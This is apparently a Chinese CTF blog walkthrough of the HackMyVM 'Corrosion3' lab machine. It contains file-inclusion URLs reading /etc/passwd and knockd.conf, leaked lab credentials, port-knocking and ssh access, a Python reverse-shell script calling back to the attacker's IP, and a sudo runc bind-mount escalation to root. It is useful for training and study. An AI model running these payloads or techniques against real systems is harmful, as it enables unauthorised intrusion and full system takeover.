目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.159.127)
靶 机:ubuntu20.04(192.168.159.62)
注意事项:
①该类型靶场只能在virtualBox上搭建,因此将靶机设置为桥接网络,方便进行渗透。攻击机kali也要桥接出来,不然会出问题。
②靶机启动失败:设置中取消勾选usb即可
2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录扫描)、ffuf(fuzz参数)、knock(关闭防火墙限制)、ssh(远程连接)、nc(获取反弹shell)、stty(获取升级shell)
测试网址:http://192.168.159.62
靶场介绍:由国外大佬搭建的靶场,类似于vulnhub,经常更新,需要翻墙才能进。
地址:https://hackmyvm.eu/machines/machine.php?vm=Corrosion3
二、测试目的
渗透靶机,逐步提高权限,使用RunC进行提权。
三、操作过程
1、信息搜集
主机探测
arp-scan -l
端口和服务探测
这里有点问题,扫第一遍没扫出22端口,第二遍就扫出了。扫出filtered情况也有可能,多扫几次,端口就打开了,这是靶场的问题。
靶场设置了knockd,正常流程是不应该直接打开22端口的,可先忽略。
nmap -sT -A -p- -T4 192.168.159.62
目录扫描
gobuster dir -u http://192.168.159.62 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
扫描website目录
gobuster dir -u http://192.168.159.62/website -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
sales_detail.php页面值得注意一下
2、Getshell
在website/logs目录下看到两个登录请求日志
查看后看到两组明文用户名和密码
test/test
randy/RaNDY$SuPer!Secr3etPa$$word
sales_detail.php页面是个空白页
在该页面测试fuzz
测试文件包含页面,成功爆破出参数名:shared
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.159.62/website/sales_detail.php?FUZZ=../index.html -fs 0 -v
包含用户文件/etc/passwd
可以看到有两个用户:randy和bob
http://192.168.159.62/website/sales_detail.php?shared=../../../../../../etc/passwd
之前web页面已经拿到randy用户的密码了,但是ssh端口可能不是打开的,是filtered或者没扫出。这是靶机设置knock的缘故。
包含knock的配置文件,查看knock顺序,顺序是:1110 2220 3330
http://192.168.159.62/website/sales_detail.php?shared=../../../../../../etc/knockd.conf
如果靶机的ssh端口未开放,就knock一下,再扫描
knock 192.168.159.62 1110 2220 3330 -v -d 1000
nmap -sT -A -p- -T4 192.168.159.62
现在可以ssh登录靶机了
randy/RaNDY$SuPer!Secr3etPa$$word
3、提权
给靶机上传pspy64文件扫描靶机,该工具可以不用root权限查看进程和其他用户执行的命令和cron作业信息
工具地址:https://github.com/DominicBreuker/pspy
wget 192.168.159.127:8888/pspy64
赋予执行权限并执行
chmod +x pspy64
./pspy64
可以看到UID为1001的用户定时执行了一个python文件
查看用户文件知道UID为1001的用户是bob
查看python文件,当前用户有写入权限,可以利用该文件获取bob用户的权限
这里提权方式与xmas靶机获取alabaster用户权限方法一致。
准备一个自定义的python文件写入反弹shell木马并替换原来的文件,注意要指定第一行的环境变量信息,不然python代码不生效
#!/usr/bin/python3
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.159.127",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")
在攻击机开启监听并耐心等待就好了,成功获取bob的反弹shell
在当前目录下可以查看user.txt文件
ls
cat user.txt
user.txt: d3a6cef5b73fa1fb233ed6a0e3b9de01
RunC提权
查看sudo权限,发现可以无密码执行runc工具,可以利用它提权root
sudo -l
RunC 是一个轻量级的工具,它是用来运行容器的。
需要创建容器根目录,root目录,创建配置文件
问题:这里使用的是反弹shell,获取的shell用不了nano命令。
需要升级下shell,设置环境变量终端类型为xterm
#Ctrl+Z暂停会话任务
stty raw -echo;fg #将终端设置为原始模式并禁用回显,调用后台任务执行
reset
xterm
export TERM=xterm
升级之后的shell就用的习惯了
然后修改配置文件,在mount后加入挂载目录,将根目录挂载
nano config.json
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [ "rbind", "rw", "rprivate" ]
},
现在可以提权了,命令如下:
sudo runc run bundle
成功获取root权限
root.txt: 18e8141ab1333a87c35e1fad5b394d66
四、结论
这个靶机设计有些缺陷,整体偏简单一些,难度主要是用RunC提权。但是,靶机存在许多内核漏洞,在拿到randy用户的权限后可以直接用内核漏洞拿到root权限。Knock设置也有一点问题,可能直接被扫描器敲开门。
标签:测试报告,..,corrosion3,192.168,提权,HackMyVM,靶机,txt,159.62 From: https://blog.csdn.net/2301_79698171/article/details/145188443